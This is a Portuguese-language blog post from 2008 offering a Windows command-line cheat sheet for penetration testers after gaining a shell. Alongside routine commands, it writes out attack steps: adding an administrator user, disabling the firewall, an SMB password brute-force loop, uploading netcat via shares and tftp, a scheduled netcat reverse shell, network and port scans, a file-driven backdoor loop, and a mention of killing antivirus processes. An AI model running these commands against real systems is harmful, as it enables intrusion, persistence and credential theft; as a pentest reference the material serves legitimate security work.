Posts Tagged ‘Windows’

Windows Command Line for Pentesters

December 8, 2008

swissarmyknife

Há tempos venho enrolando para publicar este post, se trata de um estudo que venho fazendo há tempos sobre comandos necessários ao conseguir uma “shell” no windows, e também comandos pós-intrusão, são algumas anotações que fiz ao longo dos anos portanto não espere nada de super ultra novo.

É comun em um teste de intrusão ter uma “shell” (cmd.exe) de uma máquina windows, sendo através de um ataque “client-side” ou através de execução remota de comandos (MS08-067), ou até mesmo enviando arquivos maliciosos por exemplo, a Microsoft disponibiliza praticamente tudo o que se precisa para sobreviver somente com a linha de comando, porém quando precisa de algo rapidamente é complicado ir até lá e ficar lendo manual dos comandos, outro problema é que nem sempre temos a possibilidade de enviar uma ferramenta para o alvo comprometido e é nessa hora que é preciso saber manipular as ferramentas nativas do Windows, esses são os motivos que me levaram a criar esta “Cheat Sheet de Comandos para Windows”, abaixo vou listar cada comando e comentar cada um deles.

 

MANIPULANDO USUÁRIOS E GRUPOS

Listar usuários:

C:\> net user

Adicionar usuário:

C:\> net user joao senha123 /add

Listar informações sobre um usuário:

C:\> net user joao

Remover usuário:

C:\> net user joao /del

Listar grupos:

C:\> net localgroup

Adicionar usuário em um grupo:

C:\> net localgroup Administradores joao /add

Adicionar usuário em um grupo:

C:\> net localgroup Administradores joao /del

 

MANIPULANDO FIREWALL

Listar regras do firwall:

C:\> netsh firewall show config

Desabilitar firewall:

C:\> netsh firewall set opmode disable

Habilitar firewall:

C:\> netsh firewall set opmode enable

Criando regra, abrir portas:

C:\> netsh firewall add portopening TCP 80 NomeDoServico

Fechar portas:

C:\> netsh firewall del portopening TCP 80

 

COLETANDO INFORMAÇÕES

Informações detalhadas sobre configuração de rede:

C:\> ipconfig /all

Visualizar o cache do DNS:

C:\> ipconfig /displaydns

Com isso é possivel descobrir quais foram os ultimos acesso feitos pela máquina, descobrindo possíveis hosts internos/externos, auxiliado na expansão.

Consultando tabela arp:

C:\> arp -a

Descobrir outros hosts que a máquina se comunicou recentemente, uma maneira passiva de reconhecer a rede interna.

Verificar o nome da maquina:

C:\> hostname 

Serviços ativos e portas que estão “ouvindo”:

C:\> netstat -an

Mostrando o ID do processo responsável pelo serviço:

C:\> netstat -anop tcp

O máximo de detalhe possível sobre cada porta/processo responsável:

C:\> netstat -abnvp [protocolo]

Verificando rotas:

C:\> netstat -nr

C:\> route print

Listar processos e pid’s:

C:\> tasklist

Finalizando/”matando” processos por PID:

C:\> taskkill /pid [id]

Forçando processos a finalizar por nome:

C:\> taskkill /f /im [nome]

Finalizando processos por nome:

C:\> wmic process where name=”telnet.exe”

O wmic tem uma infinidade de opções! 

Terminar processos me lembrou de um post que li há um tempo atraz sobre como matar processos dos AV’s mais conhecidos utilizando um arquivo de word/excel com macro, e a lista que o Blog fornece de nomes de executáveis de AV é excelente, somando com o “For /F” que mostro logo abaixo é possível aniquilar vários AV’s. :)

Listando serviços em funcionamento, seu estado e suas opções:

C:\> sc query

(…)

sq

(…)

SERVICE_NAME, o nome do servico que usamos para enviar um sinal (stop, start, pause)

DISPLAY_NAME, o nome que aparece lá na lista de serviço quando usamos a opção Meu Computador/Gerenciar/Serviços

STATE, o estado atual do serviço (parado, em execuçao, …)

Uma linha abaixo de STATE vemos as opcoes de sinais que podemos enviar ao serviço.

sc é um aplicativo, muito versátil pois além de suas funcionalidade é possível encontrá-lo em qualquer versão do Windows.

 

MANIPULADO COMPARTILHAMENTO SMB

Estabelecer uma sessao SMB:

C:\> net use \\[IP/nome] [senha] /u:[usuario]

É possível ter somente uma sessão estabelecida por vez, o Windows nao suporta mais de uma conexão via SMB.

Mapear pasta compartilhada no servidor alvo:

C:\> net use * \\[IP/nome]\[compartilhamento] [senha] /u:[usuário]

O asterisco(*) significa que vai mapear o compartilhamento com a primeira letra disponível, no caso do Windows XP ele associa de forma inversa (Z:).

Finalizar sessão/mapeamento:

C:\> net use Z: /del

Destruir TODOS os mapeamentos criados:

C:\> net use * /del /y

 

UM POUCO SOBRE LOOPS, PROCESSAMENTO CONDICIONAL E OUTROS

O “For” tem diversos “modos” e abaixo (/F), faz iteração somente com números:

C:\for /L %i in ([start],[step],[stop]) do [comando]

Contador de 1 a 255:

C:\> for /L %i in (1,1,255) do echo repetindo %i

É imprescindível saber como fazer loop, principalmente quando precisamos criar scanners de rede/porta sem precisar instalar ferramentas no SO.

Loop infinito:

C:\> for /L %i in (,,) do echo loop infinito

Echo” do Windows, diferente dos *nix, não é preciso colocar aspas (“)

No windows não existe o comando sleep que encontramos nos *nix, para isso criamos um “workaround”:

C:\> ping -n (segundos-1) 127.0.0.1

Exemplo, esperar 5 segundos:

C:\> ping -n 6 127.0.0.1

Loop “For” mais elaborado

C:\> for /f ["opções"] %i in ([conteúdo]) do [comando]

Sendo que conteúdo pode ser conteúdo de um arquivo, uma “string” ou a saída de um comando, ex:

C:\> for /f ["opções"] %i in (arquivo.txt) do [comando]

C:\> for /f ["opções"] %i in (“string”) do [comando]

C:\> for /f ["opções"] %i in (‘comando’) do [comando]

O “For” tem uma série de opções para ampliar suas funcionaliades, opções para delimitadores, pular iteração caso encontre determinada string e por ae vai, interessante ler o help do comando, para ter uma boa noção do que este comando é capaz.

Usando a força bruta para mapear uma unidade:

for /F %i in (senhas.txt) do @net use * \\192.168.1.106\share %i /u:administrador 2>nul && echo senha: %i && break

Ao montar o compartilhamento, mostra na tela a senha e volta para o prompt.

 

OPERADORES LÓGICOS E REDIRECIONAMENTO

Os operadores lógicos interpretados pelo cmd.exe são similares ao do *nix, com algumas diferenças como por exemplo o ponto e vírgula (;), no windows:

C:\> dir & echo oi

A interpretação pelo cmd.exe neste caso é exatamente igual do (;) do *nix, execute o primeiro comando e após execute o outro.

Execute o segundo somente se executar com sucesso (AND):

C:\> dir && echo oi

Execute o primeiro depois o segundo (OR):

C:\> oi || dir

O windows também tem buraco negro! :-o

C:\> ping -n 2 ping 127.0.0.1 >nul

Faz com que toda saida do ping va para o além! Qualquer semelhança com “/dev/null” é mera coincidência. ;)

Redirecionar a saída de erros:

C:\> oi 2> nul

Gerar log de erros utilizando (>>) para adicionar ao final do arquivo.

C:\> oi 2>> error.log

GREP no windows?

O “Find” no windows é praticamente igual ao grep do linux, um pouco mais simplório e pode ser usado das seguintes formas:

C:\> find “UP” scan.txt

Procurando “string” dentro de todos os arquivos do diretório atual:

C:\> find /i “senha” *.*

/i para “case insensitive”, não diferencia maiúsculas de minúsculas.

Redirecionamento pipe (|):

C:\> type scan.txt | find “UP”

Além do “Find” o windows tem também o “Findstr”, que esse sim é semelhante ao “egrep” pois utiliza expressões regulares.

Um exemplo simples onde procura pela palavra “senha” tanto maiúscula como minúscula recursivamente nos diretórios/subdiretórios subsequentes, mostrando somente o nome dos arquivos que concidirem com a busca e pulando os arquivos binários.

C:\> findstr /s /i /m /p “senha” *.*

A única maneira que encontrei para fazer busca com mais de uma “string” como por exemplo como egrep do *nix:

# egrep ‘(ulisses|castro)’ *

É preciso primeiro criar um arquivo com uma string por linha:

C:\> copy con strings.txt

ulisses

castro

(Ctrl+z)+[ENTER]

E então executar a busca com a opcão /g:

C:\> findstr /s /i /m /p /g:strings.txt *.*

 

EDITANDO / CRIANDO ARQUIVOS

Para criar um arquivo:

C:\> copy con [nomedoarquivo]

Para finalizar ediçao Ctrl+Z e [ENTER]

Para adicionar ao final do arquivo algum texto:

C:\> copy [nomedoarquivo] + con

Para finalizar ediçao Ctrl+Z e [ENTER]

 

TRANSFERINDO/CRIANDO ARQUIVOS

Enviando e criando arquivos no compartlhamento alvo:

C:\> echo testando > \\[IP]\\[compartilhamento]\hello.txt

C:\> type nc.exe > \\[IP]\\[compartilhamento]\nc.exe

O bom e velho tftp baixando arquivos:

C:\> tftp –I [IP] GET nc.exe

Enviando arquivos com tftp:

C:\> tftp -i 192.168.1.107 PUT nc.exe

 

AGENDAR TAREFAS

Para que as tarefas possam ser agendadas o serviço “schedule” tem que estar em execução: 

C:\> sc query schedule

Iniciando o serviço:

C:\> sc start schedule

Descobrindo a hora do servidor alvo:

C:\> net time \\[IP]

Listando tarefas:

C:\> at

Informações sobre determinada tarefa:

C:\> at [ID]

Agendamento para desativar o firewall as 11:37pm:

C:\> at 11:37pm netsh firewall set opmode disable

Agendando uma conexão reversa:

C:\> at 11:41pm c:\nc.exe -e cmd.exe -n 192.168.1.103 9999

Agendando um download:

C:\> at \\127.0.0.1 2:45pm tftp –I 192.168.1.107 GET nc.exe

Agendando um script:

C:\> at \\127.0.0.1 10:53pm cmd.exe /c c:\script.bat

Repare que para executar qualquer coisa além de .exe , é necessário utilizar (cmd.exe /c).

Agendando um script e redirecionando sua saída para um arquivo:

C:\> at 23:23 c:\script2.bat ^>c:\output.txt

Aqui não preisamos do (cmd.exe /c) a saída será enviada para o arquivo especificado, atenção para o caractere (^).

Agendando tarefas para executar todos os dias (sim, ta tosco mas não consegui nada mais bonito):

C:\> at 00:00 /EVERY:1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 cmd.exe /c c:\script.bat

Limpando as todas as tarefas:

C:\> at /del /y

 

ALGUMAS BRINCADEIRAS QUE SE TORNAM POSSÍVEL QUANDO CONHECEMOS OS COMANDOS ACIMA

Varredura clássica “Ping Sweep”:

C:\> for /L %i in (1,1,255) do @ping -n 1 -w 2000 192.168.1.%i >nul && @echo UP: 192.168.1.%i >> scan.txt

O símbolo arroba (@) no serve para “esconder” o comando quando executado.

Consultando DNS:

C:\> nslookup 192.168.1.10

(…)

Nome =   blackbox.localdomain.com.br

(…)

Importante lembrar que isto serve tanto para LAN quanto WAN, bastando o servidor de DNS estar configurado corretamente.

Varredura de DNS reverso:

C:\> for /L %i in (1,1,255) do @nslookup 192.168.1.%i 2>null | find “Nome” && echo 192.168.1.%i

Varredura de porta usando windows FTP:

C:\> for /L %i in (1,1,1024) do echo verificando porta: %i >> ports.txt && echo open 192.168.1.103 %i > ftp.txt & echo quit >> ftp.txt & ftp -s:ftp.txt 2>> ports.txt

Procurando por uma porta aberta de dentro para fora da rede, muito útil quando precisamos de uma conexão reversa:

C:\> for /L %i in (1,1,1024) do echo verificando porta: %i >> ports.txt && echo open [IP externo] %i > ftp.txt & echo quit >> ftp.txt & ftp -s:ftp.txt 2>> ports.txt

 

BACKDOOR UTILIZANDO FERRAMENTAS NATIVAS

Um dos principais motivos que estudei cada comando e criei diversas situações no prompt do windows, foi com o propósito de criar situações reais de intrusão, onde temos somente o prompt e nada mais e também não podemos instalar ferramentas, no exemplo abaixo é uma forma que encontrei para criar um backdoor:

C:\> for /L %i in (,,,) do (for /F “delims=^” %j in (commands.txt) do cmd.exe /c %j >> output.txt & del commands.txt) & ping -n 2 127.0.0.1

Com este “For” sendo executado em loop infinito, cada comando que enviarmos para o arquivo “commands.txt” (vide: Transferindo/Criando arquivos), será executado no servidor.

Mérito destes últimos para Ed Skoudis da SANS pelo exclente Webinar.

 

A lista de comandos acima não é completa e nem tampouco uma referência perfeita, sei que muitos dos comandos acima podem ser re-escritos de forma diferente mas estas foram as formas que aprendi e usei(sob demanda), portanto fiquem a vontade para corrigir e acrescentar comandos que não citei e que são importantes em um teste de intrusão.

Também não abordei qual pode ser usado como usuário comum e qual deve ser utilizado pelo admin (sorry).

Não sou um super conhecedor dos registros do windows mas sei me virar, e também sei que da pra fazer coisas NINJA com ele principalmente usando a linha de comando, por favor quem souber postem nos comentarios pois pretendo em breve criar um post parecido como este mas falando somente como manipular os registros via linha de comando.

Espero que a referência acima sirva para outras pessoas assim como serve pra mim.

Enjoy! ;)